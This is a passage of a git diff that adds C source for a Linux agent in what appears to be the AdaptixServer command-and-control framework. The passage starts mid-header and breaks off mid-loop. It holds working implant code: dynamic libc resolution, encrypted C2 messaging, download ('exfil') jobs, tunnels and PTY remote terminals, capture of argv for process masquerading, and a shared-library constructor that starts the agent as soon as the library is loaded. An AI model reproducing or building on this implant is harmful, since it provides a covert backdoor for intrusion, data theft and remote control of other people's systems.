((void*(*)(const char*))g_apis.fn_opendir)(p) +#define R_readdir(d) ((void*(*)(void*))g_apis.fn_readdir)(d) +#define R_closedir(d) ((int(*)(void*))g_apis.fn_closedir)(d) +#define R_getcwd(b,s) ((char*(*)(char*,unsigned long))g_apis.fn_getcwd)(b,s) +#define R_chdir(p) ((int(*)(const char*))g_apis.fn_chdir)(p) +#define R_rmdir(p) ((int(*)(const char*))g_apis.fn_rmdir)(p) +#define R_rewinddir(d) ((void(*)(void*))g_apis.fn_rewinddir)(d) + +#define R_fork() ((int(*)(void))g_apis.fn_fork)() +#define R_execve(p,a,e) ((int(*)(const char*,char*const*,char*const*))g_apis.fn_execve)(p,a,e) +#define R_execvp(f,a) ((int(*)(const char*,char*const*))g_apis.fn_execvp)(f,a) +#define R_waitpid(p,s,o) ((int(*)(int,int*,int))g_apis.fn_waitpid)(p,s,o) +#define R_getpid() ((int(*)(void))g_apis.fn_getpid)() +#define R_getuid() ((unsigned int(*)(void))g_apis.fn_getuid)() +#define R_geteuid() ((unsigned int(*)(void))g_apis.fn_geteuid)() +#define R_kill(p,s) ((int(*)(int,int))g_apis.fn_kill)(p,s) +#define R_setsid() ((int(*)(void))g_apis.fn_setsid)() +#define R_setpgid(p,g) ((int(*)(int,int))g_apis.fn_setpgid)(p,g) +#define R_exit(s) ((void(*)(int))g_apis.fn_exit)(s) +#define R_prctl(o,a2,a3,a4,a5) ((int(*)(int,unsigned long,unsigned long,unsigned long,unsigned long))g_apis.fn_prctl)(o,a2,a3,a4,a5) + +#define R_socket(d,t,p) ((int(*)(int,int,int))g_apis.fn_socket)(d,t,p) +#define R_connect(s,a,l) ((int(*)(int,const void*,unsigned int))g_apis.fn_connect)(s,a,l) +#define R_getaddrinfo(h,s,hi,r) ((int(*)(const char*,const char*,const void*,void**))g_apis.fn_getaddrinfo)(h,s,hi,r) +#define R_freeaddrinfo(r) ((void(*)(void*))g_apis.fn_freeaddrinfo)(r) +#define R_gethostname(b,l) ((int(*)(char*,unsigned long))g_apis.fn_gethostname)(b,l) +#define R_setsockopt(s,l,o,v,n) ((int(*)(int,int,int,const void*,unsigned int))g_apis.fn_setsockopt)(s,l,o,v,n) +#define R_getsockopt(s,l,o,v,n) ((int(*)(int,int,int,void*,unsigned int*))g_apis.fn_getsockopt)(s,l,o,v,n) +#define R_select(n,r,w,e,t) ((int(*)(int,void*,void*,void*,void*))g_apis.fn_select)(n,r,w,e,t) +#define R_send(s,b,l,f) ((long(*)(int,const void*,unsigned long,int))g_apis.fn_send)(s,b,l,f) +#define R_recv(s,b,l,f) ((long(*)(int,void*,unsigned long,int))g_apis.fn_recv)(s,b,l,f) +#define R_bind(s,a,l) ((int(*)(int,const void*,unsigned int))g_apis.fn_bind)(s,a,l) +#define R_listen(s,b) ((int(*)(int,int))g_apis.fn_listen)(s,b) +#define R_accept(s,a,l) ((int(*)(int,void*,unsigned int*))g_apis.fn_accept)(s,a,l) + +#define R_pthread_create(t,a,f,d) ((int(*)(void*,const void*,void*(*)(void*),void*))g_apis.fn_pthread_create)(t,a,f,d) +#define R_pthread_detach(t) ((int(*)(unsigned long))g_apis.fn_pthread_detach)(t) +#define R_pthread_mutex_init(m,a) ((int(*)(void*,const void*))g_apis.fn_pthread_mutex_init)(m,a) +#define R_pthread_mutex_lock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_lock)(m) +#define R_pthread_mutex_unlock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_unlock)(m) + +#define R_pipe(p) ((int(*)(int*))g_apis.fn_pipe)(p) +#define R_dup2(o,n) ((int(*)(int,int))g_apis.fn_dup2)(o,n) +#define R_fcntl(fd,cmd,...) ((int(*)(int,int,...))g_apis.fn_fcntl)(fd,cmd,##__VA_ARGS__) +#define R_posix_openpt(f) ((int(*)(int))g_apis.fn_posix_openpt)(f) +#define R_grantpt(fd) ((int(*)(int))g_apis.fn_grantpt)(fd) +#define R_unlockpt(fd) ((int(*)(int))g_apis.fn_unlockpt)(fd) +#define R_ptsname(fd) ((char*(*)(int))g_apis.fn_ptsname)(fd) +#define R_ioctl(fd,r,...) ((int(*)(int,unsigned long,...))g_apis.fn_ioctl)(fd,r,##__VA_ARGS__) + +#define R_getenv(k) ((char*(*)(const char*))g_apis.fn_getenv)(k) +#define R_setenv(k,v,o) ((int(*)(const char*,const char*,int))g_apis.fn_setenv)(k,v,o) +#define R_sleep(s) ((unsigned int(*)(unsigned int))g_apis.fn_sleep)(s) +#define R_usleep(u) ((int(*)(unsigned int))g_apis.fn_usleep)(u) +#define R_snprintf(b,n,f,...) ((int(*)(char*,unsigned long,const char*,...))g_apis.fn_snprintf)(b,n,f,##__VA_ARGS__) +#define R_strtol(s,e,b) ((long(*)(const char*,char**,int))g_apis.fn_strtol)(s,e,b) + +#define R_getpwuid(u) ((void*(*)(unsigned int))g_apis.fn_getpwuid)(u) +#define R_getgrgid(g) ((void*(*)(unsigned int))g_apis.fn_getgrgid)(g) +#define R_getifaddrs(a) ((int(*)(void**))g_apis.fn_getifaddrs)(a) +#define R_freeifaddrs(a) ((void(*)(void*))g_apis.fn_freeifaddrs)(a) +#define R_inet_ntop(f,s,d,l) ((const char*(*)(int,const void*,char*,unsigned int))g_apis.fn_inet_ntop)(f,s,d,l) +#define R_localtime(t) ((void*(*)(const void*))g_apis.fn_localtime)(t) +#define R_strftime(b,m,f,t) ((unsigned long(*)(char*,unsigned long,const char*,const void*))g_apis.fn_strftime)(b,m,f,t) + +#define R_dlopen(f,m) ((void*(*)(const char*,int))g_apis.fn_dlopen)(f,m) +#define R_dlsym(h,s) ((void*(*)(void*,const char*))g_apis.fn_dlsym)(h,s) +#define R_dlclose(h) ((int(*)(void*))g_apis.fn_dlclose)(h) + +#endif /* ELF_RESOLVE_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c new file mode 100644 index 000000000..6bc7ebea1 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c @@ -0,0 +1,297 @@ +/// jobs.c -- Job management for Linux agent +/// Dual mode: static ELF (clone+spinlock) or SO (pthread via resolver) + +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "msgpack.h" + +#ifdef BUILD_SO +#include "elf_resolve.h" +#else +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif +#endif + +/// Global job context instance +job_context_t g_job_ctx; + +// ── Threading abstraction ── + +#ifdef BUILD_SO + +void jobs_mutex_init(pthread_mutex_t *m) { + R_pthread_mutex_init(m, (void*)0); +} + +void jobs_mutex_lock(pthread_mutex_t *m) { + R_pthread_mutex_lock(m); +} + +void jobs_mutex_unlock(pthread_mutex_t *m) { + R_pthread_mutex_unlock(m); +} + +int jobs_thread_create(pthread_t *tid, void *(*fn)(void*), void *arg) { + pthread_t t; + int ret = R_pthread_create(&t, (void*)0, fn, arg); + if (ret == 0) { + R_pthread_detach(t); + if (tid) *tid = t; + } + return ret; +} + +#else + +// Static mode: spinlock + clone() with mmap'd stack + +void jobs_mutex_init(pthread_mutex_t *m) { + m->__lock = 0; +} + +// Atomic swap: returns previous value, stores new_val +static inline int atomic_swap(volatile int *ptr, int new_val) { +#ifdef ARCH_X86_64 + return __sync_lock_test_and_set(ptr, new_val); +#else + // ARM64: LDAXR/STLXR loop (no libgcc dependency) + int old, tmp; + __asm__ volatile( + "1: ldaxr %w0, [%2] \n" + " stlxr %w1, %w3, [%2] \n" + " cbnz %w1, 1b \n" + : "=&r"(old), "=&r"(tmp) + : "r"(ptr), "r"(new_val) + : "memory" + ); + return old; +#endif +} + +static inline void atomic_store_release(volatile int *ptr, int val) { +#ifdef ARCH_X86_64 + __sync_lock_release(ptr); +#else + __asm__ volatile("stlr %w0, [%1]" : : "r"(val), "r"(ptr) : "memory"); +#endif +} + +void jobs_mutex_lock(pthread_mutex_t *m) { + while (atomic_swap(&m->__lock, 1)) { + while (m->__lock) { +#ifdef ARCH_X86_64 + __asm__ volatile("pause"); +#else + __asm__ volatile("yield"); +#endif + } + } +} + +void jobs_mutex_unlock(pthread_mutex_t *m) { + atomic_store_release(&m->__lock, 0); +} + +#define THREAD_STACK_SIZE (256 * 1024) + +// Trampoline for clone-based threads +typedef struct { + void *(*fn)(void*); + void *arg; +} clone_trampoline_t; + +static int _clone_entry(void *param) { + clone_trampoline_t *info = (clone_trampoline_t*)param; + void *(*fn)(void*) = info->fn; + void *arg = info->arg; + ax_free(info); + + fn(arg); + + // Exit just this thread (with CLONE_THREAD, exit_group exits the thread) + raw_syscall1(__NR_exit, 0); + return 0; // unreachable +} + +int jobs_thread_create(pthread_t *tid, void *(*fn)(void*), void *arg) { + // Allocate stack via mmap + void *stack = sys_mmap((void*)0, THREAD_STACK_SIZE, + 3 /*PROT_READ|PROT_WRITE*/, + 0x22 /*MAP_PRIVATE|MAP_ANONYMOUS*/, + -1, 0); + if ((long)stack <= 0) return -1; + + clone_trampoline_t *info = (clone_trampoline_t*)ax_malloc(sizeof(clone_trampoline_t)); + info->fn = fn; + info->arg = arg; + + // Stack grows downward + void *stack_top = (uint8_t*)stack + THREAD_STACK_SIZE; + + long ret = raw_syscall5(__NR_clone, + (long)(CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_THREAD), + (long)stack_top, + 0, 0, + (long)info); + + if (ret < 0) { + ax_free(info); + sys_munmap(stack, THREAD_STACK_SIZE); + return -1; + } + + if (ret == 0) { + // Child thread + _clone_entry(info); + // unreachable + } + + if (tid) *tid = (pthread_t)ret; + return 0; +} + +#endif // BUILD_SO + +// ── Job context management ── + +void jobs_init(job_context_t *ctx) { + ax_memset(ctx, 0, sizeof(job_context_t)); + jobs_mutex_init(&ctx->jobs_mutex); + jobs_mutex_init(&ctx->tunnels_mutex); + jobs_mutex_init(&ctx->terminals_mutex); +} + +void jobs_update_connection(job_context_t *ctx, const char *address, + int banner_size, const uint8_t *enc_key, + uint32_t profile_type) { + ax_strncpy(ctx->address, address, sizeof(ctx->address) - 1); + ctx->banner_size = banner_size; + ax_memcpy(ctx->enc_key, enc_key, 16); + ctx->profile_type = profile_type; +} + +int jobs_open_connection(job_context_t *ctx, connector_t *conn) { + if (conn_open(conn, ctx->address) != 0) + return -1; + + if (ctx->banner_size > 0) { + if (conn_discard(conn, (size_t)ctx->banner_size) != 0) { + conn_close(conn); + return -1; + } + } + return 0; +} + +int jobs_alloc(job_context_t *ctx) { + jobs_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (!ctx->jobs[i].active) { + ax_memset(&ctx->jobs[i], 0, sizeof(job_entry_t)); + ctx->jobs[i].conn.fd = -1; + jobs_mutex_unlock(&ctx->jobs_mutex); + return i; + } + } + jobs_mutex_unlock(&ctx->jobs_mutex); + return -1; +} + +int jobs_find(job_context_t *ctx, const char *job_id) { + jobs_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active && ax_strcmp(ctx->jobs[i].job_id, job_id) == 0) { + jobs_mutex_unlock(&ctx->jobs_mutex); + return i; + } + } + jobs_mutex_unlock(&ctx->jobs_mutex); + return -1; +} + +void jobs_remove(job_context_t *ctx, int idx) { + jobs_mutex_lock(&ctx->jobs_mutex); + if (idx >= 0 && idx < MAX_JOBS) { + ctx->jobs[idx].active = 0; + ctx->jobs[idx].job_id[0] = '\0'; + } + jobs_mutex_unlock(&ctx->jobs_mutex); +} + +int tunnels_find(job_context_t *ctx, int channel_id) { + jobs_mutex_lock(&ctx->tunnels_mutex); + for (int i = 0; i < MAX_TUNNELS; i++) { + if (ctx->tunnels[i].active && ctx->tunnels[i].channel_id == channel_id) { + jobs_mutex_unlock(&ctx->tunnels_mutex); + return i; + } + } + jobs_mutex_unlock(&ctx->tunnels_mutex); + return -1; +} + +int terminals_find(job_context_t *ctx, int term_id) { + jobs_mutex_lock(&ctx->terminals_mutex); + for (int i = 0; i < MAX_TERMINALS; i++) { + if (ctx->terminals[i].active && ctx->terminals[i].term_id == term_id) { + jobs_mutex_unlock(&ctx->terminals_mutex); + return i; + } + } + jobs_mutex_unlock(&ctx->terminals_mutex); + return -1; +} + +int jobs_send_init(job_context_t *ctx, connector_t *conn, + int pack_type, const uint8_t *pack_data, uint32_t pack_len) { + mp_writer_t outer; + mp_writer_init(&outer, 256); + mp_write_map(&outer, 2); + mp_write_kv_int(&outer, "id", pack_type); + mp_write_kv_bin(&outer, "data", pack_data, pack_len); + + size_t enc_len; + uint8_t *encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, + ctx->enc_key, &enc_len); + mp_writer_free(&outer); + if (!encrypted) return -1; + + int ret = conn_send_msg(conn, encrypted, enc_len); + ax_free(encrypted); + return ret; +} + +int jobs_send_message(job_context_t *ctx, connector_t *conn, + uint32_t command_id, const char *job_id, + const uint8_t *data, uint32_t data_len) { + mp_writer_t job_w; + mp_writer_init(&job_w, 256 + data_len); + mp_write_map(&job_w, 3); + mp_write_kv_uint(&job_w, "command_id", command_id); + mp_write_kv_str(&job_w, "job_id", job_id); + mp_write_kv_bin(&job_w, "data", data, data_len); + + mp_writer_t msg_w; + mp_writer_init(&msg_w, 256 + job_w.buf.len); + mp_write_map(&msg_w, 2); + mp_write_kv_int(&msg_w, "type", 2); + mp_write_str(&msg_w, "object", 6); + mp_write_array(&msg_w, 1); + mp_write_bin(&msg_w, job_w.buf.data, (uint32_t)job_w.buf.len); + mp_writer_free(&job_w); + + size_t enc_len; + uint8_t *encrypted = aes128_gcm_encrypt(msg_w.buf.data, msg_w.buf.len, + ctx->session_key, &enc_len); + mp_writer_free(&msg_w); + if (!encrypted) return -1; + + int ret = conn_send_msg(conn, encrypted, enc_len); + ax_free(encrypted); + return ret; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h new file mode 100644 index 000000000..2642abfb7 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h @@ -0,0 +1,164 @@ +#ifndef JOBS_H +#define JOBS_H + +#include "types.h" +#include "connector.h" +#include "msgpack.h" +#include + +/// Threading abstraction: +/// - BUILD_SO mode: uses R_pthread_create/mutex from resolved libc +/// - Static ELF mode: uses clone() with mmap'd stack (no libc) + +#ifndef _PTHREAD_TYPES_DEFINED +#define _PTHREAD_TYPES_DEFINED +typedef unsigned long pthread_t; +typedef struct { volatile int __lock; } pthread_mutex_t; +#endif + +/// Job management system -- async tasks via threads +/// Matches Go agent's DOWNLOADS, JOBS, TUNNELS, TERMINALS maps + +#define MAX_JOBS 32 +#define MAX_TUNNELS 16 +#define MAX_TERMINALS 8 + +/// Job types (maps to pack types) +#define JOB_TYPE_DOWNLOAD EXFIL_PACK /* 2 */ +#define JOB_TYPE_RUN JOB_PACK /* 3 */ +#define JOB_TYPE_TUNNEL JOB_TUNNEL /* 4 */ +#define JOB_TYPE_TERMINAL JOB_TERMINAL /* 5 */ + +/// Job state +typedef struct { + char job_id[64]; /* task ID (hex string from server) */ + int job_type; /* JOB_TYPE_* */ + int active; /* 1 = running, 0 = finished/canceled */ + int canceled; /* 1 = cancel requested */ + pthread_t thread; /* worker thread */ + connector_t conn; /* separate C2 connection for this job */ +} job_entry_t; + +/// Tunnel controller -- MUX model (data flows in main channel, no separate C2 connection) +/// Follows beacon's Proxyfire pattern: non-blocking polling in main loop. +#define TUNNEL_STATE_CONNECTING 0 +#define TUNNEL_STATE_READY 1 +#define TUNNEL_STATE_CLOSED 2 + +#define TUNNEL_HIGH_WATERMARK (4 * 1024 * 1024) /* 4 MB: send PAUSE to teamserver */ +#define TUNNEL_LOW_WATERMARK (1 * 1024 * 1024) /* 1 MB: send RESUME to teamserver */ +#define TUNNEL_HARD_CAP (16 * 1024 * 1024) /* 16 MB: kill channel */ +#define TUNNEL_CONNECT_TIMEOUT 30 /* seconds */ + +typedef struct { + int channel_id; + int active; + int paused; /* teamserver told us to stop reading from target */ + int client_fd; /* socket to target (non-blocking) */ + int state; /* TUNNEL_STATE_* */ + uint8_t *write_buf; /* data from teamserver → target socket */ + uint32_t write_len; + uint32_t write_cap; + int agent_paused; /* we sent PAUSE to teamserver (backpressure) */ + uint32_t connect_start; /* monotonic timestamp for connect timeout */ +} tunnel_entry_t; + +/// Terminal controller +typedef struct { + int term_id; + int active; + int canceled; + pthread_t thread; + connector_t srv_conn; /* connection to C2 */ + int pty_master; /* PTY master fd */ + int child_pid; /* shell process pid */ +} terminal_entry_t; + +/// Upload staging (synchronous -- data received in command loop) +typedef struct { + char task_id[64]; + uint8_t *data; + size_t data_len; + size_t data_cap; +} upload_entry_t; + +/// Global job context -- shared state needed by async threads +typedef struct { + /* Agent identity (for init packs) */ + uint32_t agent_id; + uint32_t profile_type; + uint8_t enc_key[16]; /* profile encryption key */ + uint8_t session_key[16]; /* session key (SKey) */ + + /* Connection info for spawning new connections */ + char address[256]; /* current C2 address */ + int banner_size; /* banner to discard on new connections */ + + /* Job tracking */ + job_entry_t jobs[MAX_JOBS]; + int job_count; + pthread_mutex_t jobs_mutex; + + /* Tunnel tracking */ + tunnel_entry_t tunnels[MAX_TUNNELS]; + int tunnel_count; + pthread_mutex_t tunnels_mutex; + + /* Terminal tracking */ + terminal_entry_t terminals[MAX_TERMINALS]; + int terminal_count; + pthread_mutex_t terminals_mutex; + + /* Upload staging */ + upload_entry_t uploads[MAX_JOBS]; + int upload_count; +} job_context_t; + +/// Initialize job context (call once at startup) +void jobs_init(job_context_t *ctx); + +/// Update connection info when profile/address changes +void jobs_update_connection(job_context_t *ctx, const char *address, + int banner_size, const uint8_t *enc_key, + uint32_t profile_type); + +/// Open a new C2 connection for an async job +int jobs_open_connection(job_context_t *ctx, connector_t *conn); + +/// Find a free job slot (returns index or -1) +int jobs_alloc(job_context_t *ctx); + +/// Find job by ID (returns index or -1) +int jobs_find(job_context_t *ctx, const char *job_id); + +/// Remove job by index +void jobs_remove(job_context_t *ctx, int idx); + +/// Find tunnel by channel_id +int tunnels_find(job_context_t *ctx, int channel_id); + +/// Find terminal by term_id +int terminals_find(job_context_t *ctx, int term_id); + +/// Build and send a job message on a separate connection +int jobs_send_message(job_context_t *ctx, connector_t *conn, + uint32_t command_id, const char *job_id, + const uint8_t *data, uint32_t data_len); + +/// Build and send the init pack for an async job +int jobs_send_init(job_context_t *ctx, connector_t *conn, + int pack_type, const uint8_t *pack_data, uint32_t pack_len); + +/// Create a detached thread running fn(arg). Returns 0 on success. +/// Uses pthread in SO mode, clone()+mmap stack in static mode. +int jobs_thread_create(pthread_t *tid, void *(*fn)(void*), void *arg); + +/// Mutex operations (pthread in SO mode, spinlock in static mode) +void jobs_mutex_init(pthread_mutex_t *m); +void jobs_mutex_lock(pthread_mutex_t *m); +void jobs_mutex_unlock(pthread_mutex_t *m); + +/// Global job context (set in main.c) +extern job_context_t g_job_ctx; + +#endif /* JOBS_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/main.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/main.c new file mode 100644 index 000000000..4fa8f59f6 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/main.c @@ -0,0 +1,600 @@ +#include "types.h" +#include "crt.h" +#include "msgpack.h" +#include "crypt.h" +#include "connector.h" +#include "agent_info.h" +#include "commander.h" +#include "jobs.h" +#include "pivot.h" +#include "proxyfire.h" +#include "elf_resolve.h" +#include "opsec.h" +#include "config.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +/// Global state +static int ACTIVE = 1; + +/// Stored argv for process masquerading (set by entry point) +char **g_argv = NULL; + +/// Decode an encrypted profile blob +/// Input: [key 16B][AES-128-GCM encrypted msgpack(Profile)] +typedef struct { + uint32_t type; + uint32_t listener_watermark; + char** addresses; + uint32_t addr_count; + int banner_size; + int conn_timeout; + int conn_count; + int use_ssl; + uint8_t enc_key[16]; + uint16_t bind_port; +} profile_t; + +static int decode_profile(const uint8_t* enc_data, uint32_t enc_size, profile_t* prof) { + if (enc_size < 16 + GCM_NONCE_SIZE + GCM_TAG_SIZE) return -1; + + // Extract key (first 16 bytes) + ax_memcpy(prof->enc_key, enc_data, 16); + + // Decrypt the rest + size_t pt_len; + uint8_t* plaintext = aes128_gcm_decrypt(enc_data + 16, enc_size - 16, prof->enc_key, &pt_len); + if (!plaintext) return -1; + + // Parse msgpack Profile struct + mp_reader_t r; + mp_reader_init(&r, plaintext, pt_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + ax_free(plaintext); + return -1; + } + + // Initialize defaults + prof->type = 0; + prof->listener_watermark = 0; + prof->addresses = (char**)0; + prof->addr_count = 0; + prof->banner_size = 0; + prof->conn_timeout = 10; + prof->conn_count = 1000000000; + prof->use_ssl = 0; + prof->bind_port = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->type = (uint32_t)v; + } else if (klen == 18 && ax_memcmp(key, "listener_watermark", 18) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->listener_watermark = (uint32_t)v; + } else if (klen == 9 && ax_memcmp(key, "addresses", 9) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + prof->addresses = (char**)ax_malloc(arr_count * sizeof(char*)); + prof->addr_count = arr_count; + for (uint32_t j = 0; j < arr_count; j++) { + const char* addr; uint32_t alen; + mp_read_str(&r, &addr, &alen); + prof->addresses[j] = (char*)ax_malloc(alen + 1); + ax_memcpy(prof->addresses[j], addr, alen); + prof->addresses[j][alen] = '\0'; + } + } + } else if (klen == 11 && ax_memcmp(key, "banner_size", 11) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->banner_size = (int)v; + } else if (klen == 12 && ax_memcmp(key, "conn_timeout", 12) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->conn_timeout = (int)v; + } else if (klen == 10 && ax_memcmp(key, "conn_count", 10) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->conn_count = (int)v; + } else if (klen == 7 && ax_memcmp(key, "use_ssl", 7) == 0) { + bool v; mp_read_bool(&r, &v); prof->use_ssl = v ? 1 : 0; + } else if (klen == 9 && ax_memcmp(key, "bind_port", 9) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->bind_port = (uint16_t)v; + } else { + mp_skip(&r); + } + } + + ax_free(plaintext); + return 0; +} + +static void free_profile(profile_t* prof) { + if (prof->addresses) { + for (uint32_t i = 0; i < prof->addr_count; i++) { + if (prof->addresses[i]) + ax_free(prof->addresses[i]); + } + ax_free(prof->addresses); + } +} + +/// Build the init message: [4B listener_watermark BE][encrypted(StartMsg{type:INIT_PACK, data:InitPack{id, type, data:sessionInfo}})] +/// The 4B watermark prefix enables pivot routing — parent extracts it and sends to teamserver +/// Encrypted portion uses profile key (AES-128-GCM) +static int build_init_msg(uint32_t agent_id, uint32_t profile_type, + uint32_t listener_watermark, + const uint8_t* session_info, size_t si_len, + const uint8_t* enc_key, + uint8_t** out_msg, size_t* out_len) { + // Inner: InitPack — declaration order: Id, Type, Data → tags: id, type, data + mp_writer_t inner; + mp_writer_init(&inner, 256); + mp_write_map(&inner, 3); + mp_write_kv_uint(&inner, "id", agent_id); + mp_write_kv_uint(&inner, "type", profile_type); + mp_write_kv_bin(&inner, "data", session_info, (uint32_t)si_len); + + // Outer: StartMsg — declaration order: Type, Data → tags: id, data + mp_writer_t outer; + mp_writer_init(&outer, 256); + mp_write_map(&outer, 2); + mp_write_kv_int(&outer, "id", INIT_PACK); + mp_write_kv_bin(&outer, "data", inner.buf.data, (uint32_t)inner.buf.len); + + mp_writer_free(&inner); + + // Encrypt with profile key + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, enc_key, &enc_len); + mp_writer_free(&outer); + + if (!encrypted) return -1; + + // Prepend 4-byte listener watermark (big-endian) for pivot routing + size_t total_len = 4 + enc_len; + uint8_t* msg = (uint8_t*)ax_malloc(total_len); + if (!msg) { ax_free(encrypted); return -1; } + + msg[0] = (uint8_t)(listener_watermark >> 24); + msg[1] = (uint8_t)(listener_watermark >> 16); + msg[2] = (uint8_t)(listener_watermark >> 8); + msg[3] = (uint8_t)(listener_watermark); + ax_memcpy(msg + 4, encrypted, enc_len); + ax_free(encrypted); + + *out_msg = msg; + *out_len = total_len; + return 0; +} + +/// Parse Message{type: int8, object: [][]byte} from decrypted data +static int parse_message(const uint8_t* data, size_t len, + int8_t* msg_type, + const uint8_t*** objects, uint32_t** obj_sizes, + uint32_t* obj_count) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + *msg_type = 0; + *objects = (const uint8_t**)0; + *obj_sizes = (uint32_t*)0; + *obj_count = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + + if (klen == 6 && ax_memcmp(key, "object", 6) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) != 0) return -1; + + *objects = (const uint8_t**)ax_malloc(arr_count * sizeof(uint8_t*)); + *obj_sizes = (uint32_t*)ax_malloc(arr_count * sizeof(uint32_t)); + *obj_count = arr_count; + + for (uint32_t j = 0; j < arr_count; j++) { + const uint8_t* bin_data; + uint32_t bin_len; + if (mp_read_bin(&r, &bin_data, &bin_len) != 0) return -1; + (*objects)[j] = bin_data; + (*obj_sizes)[j] = bin_len; + } + } else if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + int64_t v; + if (mp_read_int(&r, &v) != 0) return -1; + *msg_type = (int8_t)v; + } else { + mp_skip(&r); + } + } + return 0; +} + +/// Parse a single Command from msgpack: {code: uint, id: uint, data: []byte} +static int parse_command(const uint8_t* data, size_t len, + uint32_t* code, uint32_t* cmd_id, + const uint8_t** cmd_data, uint32_t* cmd_data_len) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + *code = 0; *cmd_id = 0; *cmd_data = (uint8_t*)0; *cmd_data_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + + if (klen == 4 && ax_memcmp(key, "code", 4) == 0) { + uint64_t v; mp_read_uint(&r, &v); *code = (uint32_t)v; + } else if (klen == 2 && ax_memcmp(key, "id", 2) == 0) { + uint64_t v; mp_read_uint(&r, &v); *cmd_id = (uint32_t)v; + } else if (klen == 4 && ax_memcmp(key, "data", 4) == 0) { + mp_read_bin(&r, cmd_data, cmd_data_len); + } else { + mp_skip(&r); + } + } + return 0; +} + +/// ---- Entry points ---- + +static int agent_main(void); + +#ifdef BUILD_SO +// Linux passes argc, argv, envp to constructors (GCC extension) +__attribute__((constructor)) +static void so_entry(int argc, char **argv, char **envp) { + (void)argc; (void)envp; + g_argv = argv; + agent_main(); +} +#else +// Static ELF: _start receives the stack directly from the kernel. +// On Linux x86_64/ARM64, stack layout at _start: +// [rsp/sp] = argc +// [rsp+8] = argv[0] +// [rsp+16] = argv[1] +// ... +// +// CRITICAL: _start MUST be naked. Without naked, gcc generates a +// function prologue (push rbp; mov rbp,rsp) that shifts RSP before +// we can read it, corrupting g_argv → segfault in masquerade/migrate. + +// Helper called from the naked ASM trampoline with the original SP value. +__attribute__((noreturn, noinline, used)) +static void _start_c(unsigned long *stack) { + g_argv = (char **)(stack + 1); // argv starts after argc + int ret = agent_main(); + sys_exit_group(ret); + __builtin_unreachable(); +} + +__attribute__((naked, noreturn)) +void _start(void) { +#ifdef ARCH_X86_64 + __asm__ volatile ( + "mov %%rsp, %%rdi\n" // rdi = original SP (argc at [rsp]) + "and $-16, %%rsp\n" // 16-byte align stack (ABI) + "call _start_c\n" + ::: "memory" + ); +#elif defined(ARCH_AARCH64) + __asm__ volatile ( + "mov x0, sp\n" // x0 = original SP (argc at [sp]) + "and sp, x0, #-16\n" // 16-byte align stack (ABI) + "bl _start_c\n" + ::: "memory" + ); +#endif +} +#endif + +/// Command loop — shared between client TCP and bind TCP modes. +/// Handles recv/process/send cycle with non-blocking polling. +/// Returns 0 if ACTIVE was set to 0 (exit), -1 on connection error. +static int command_loop(connector_t* conn, const uint8_t* session_key) { + while (ACTIVE) { + uint8_t* recv_data = (uint8_t*)0; + size_t recv_len = 0; + + // Poll C2 socket with 100ms timeout + int poll_ret = conn_recv_msg_timeout(conn, &recv_data, &recv_len, 100); + if (poll_ret < 0) return -1; // error/disconnect → reconnect + + // Build response objects collector + mp_writer_t obj_collector; + mp_writer_init(&obj_collector, 1024); + uint32_t resp_count = 0; + + // If we received data from teamserver, process it + uint8_t* plaintext = (uint8_t*)0; + const uint8_t** objects = (const uint8_t**)0; + uint32_t* obj_sizes = (uint32_t*)0; + uint32_t obj_count = 0; + + if (poll_ret == 0 && recv_data && recv_len > 0) { + // Decrypt with session key + size_t plain_len; + plaintext = aes128_gcm_decrypt(recv_data, recv_len, session_key, &plain_len); + ax_free(recv_data); + recv_data = (uint8_t*)0; + if (!plaintext) return -1; + + // Parse Message + int8_t msg_type = 0; + + if (parse_message(plaintext, plain_len, &msg_type, &objects, &obj_sizes, &obj_count) != 0) { + ax_free(plaintext); + return -1; + } + + if (msg_type == 1 && obj_count > 0) { + for 